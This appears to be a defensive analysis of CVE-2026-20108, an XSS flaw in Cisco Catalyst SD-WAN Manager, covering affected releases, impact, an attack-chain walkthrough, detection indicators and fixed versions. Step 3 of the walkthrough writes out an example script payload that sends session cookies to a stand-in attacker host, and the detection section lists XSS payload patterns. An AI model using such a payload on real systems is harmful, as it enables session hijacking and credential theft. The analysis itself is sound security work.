CVE-2026-20108: 
Cisco SD-WAN Catalyst Manager vulnerability analysis and mitigation

CVE-2026-20108 is a stored/reflected cross-site scripting (XSS) vulnerability in the web-based management interface of Cisco Catalyst SD-WAN Manager. It allows an authenticated, remote attacker to conduct XSS attacks against other users of the interface by exploiting insufficient input validation. The vulnerability affects Cisco Catalyst SD-WAN Manager across multiple releases in the 20.12, 20.13, 20.14, 20.15, 20.16, and 20.18 trains; releases 20.11 and earlier are not affected. It was first published on March 25, 2026, and carries a CVSS v3.1 base score of 5.4 (Medium) (Cisco Advisory).

The root cause is improper neutralization of user-supplied input during web page generation (CWE-79), where the SD-WAN Manager interface fails to adequately sanitize or encode attacker-controlled data before rendering it in the browser. Exploitation requires the attacker to be authenticated (low-privilege) and to socially engineer a target user into clicking a crafted link, making this a network-based, low-complexity attack with required user interaction. The vulnerability was discovered during Cisco's internal security testing, and no public proof-of-concept code has been disclosed (Cisco Advisory).

Successful exploitation allows an attacker to execute arbitrary JavaScript in the context of the victim's browser session within the SD-WAN Manager interface, potentially enabling session token theft, credential harvesting, or unauthorized actions performed on behalf of the victim. The scope is changed (S:C), meaning the injected script can affect resources beyond the attacker's own session. Confidentiality and integrity impacts are both rated Low, with no direct availability impact; however, access to sensitive browser-based information such as session cookies or management credentials could facilitate further compromise of the SD-WAN infrastructure (Cisco Advisory).

1. Reconnaissance: Identify a target organization running a vulnerable version of Cisco Catalyst SD-WAN Manager (releases 20.12 through 20.18 prior to fixed versions) with the web-based management interface accessible.
2. Obtain authenticated access: Acquire low-privilege credentials to the SD-WAN Manager interface, either through phishing, credential stuffing, or use of a compromised account.
3. Craft malicious link: Construct a URL or request targeting the vulnerable input parameter in the SD-WAN Manager web interface that embeds a malicious JavaScript payload (e.g., <script>document.location='https://attacker.com/steal?c='+document.cookie</script>).
4. Deliver the payload: Send the crafted link to a higher-privileged user of the SD-WAN Manager interface via email, chat, or another social engineering channel, persuading them to click it.
5. Achieve objective: When the victim clicks the link and the script executes in their browser session, the attacker can steal session tokens, capture credentials, or perform unauthorized management actions within the SD-WAN Manager interface on behalf of the victim (Cisco Advisory).

• Network: Unexpected outbound HTTP/HTTPS requests from administrator browsers to unknown external domains shortly after accessing the SD-WAN Manager interface; unusual GET/POST requests to SD-WAN Manager endpoints containing URL-encoded script tags or JavaScript event handlers.
• Logs: SD-WAN Manager access logs showing requests with suspicious query parameters containing encoded XSS payloads (e.g., %3Cscript%3E, javascript:, onerror=, onload=); authentication events from unexpected IP addresses following a potential session hijack.
• Browser/Session: Unexpected session activity or configuration changes in SD-WAN Manager attributed to a legitimate user account that the user did not perform, potentially indicating session token theft and reuse.

Cisco has released fixed software versions to address this vulnerability; there are no workarounds available. Administrators should upgrade to the following fixed releases based on their current train: 20.12 → 20.12.5.3 or 20.12.6.1; 20.15 → 20.15.4.2 or 20.15.5; 20.18 → 20.18.2.1. Releases 20.13, 20.14, and 20.16 have reached End of Software Maintenance and customers must migrate to a supported fixed release. Cisco strongly recommends restricting management interface access to trusted networks and enforcing multi-factor authentication to reduce the risk of credential compromise that could enable exploitation (Cisco Advisory).